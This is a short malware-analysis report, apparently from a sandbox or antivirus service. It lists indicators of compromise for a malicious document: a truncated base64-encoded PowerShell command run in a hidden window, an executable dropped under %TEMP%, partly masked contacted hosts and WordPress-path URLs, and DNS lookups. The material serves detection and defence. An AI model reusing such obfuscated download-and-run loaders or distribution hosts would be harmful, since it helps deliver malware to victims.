Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\k073c59.exe
- 'hd###mkurdu.tk':80
- http://www.no###hem.com.tr/wp-includes/file/HDSTwTon/
- http://www.no###hem.com.tr/cgi-sys/suspendedpage.cgi
- DNS ASK no###hem.com.tr
- DNS ASK hd###mkurdu.tk
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AF...' (with hidden window)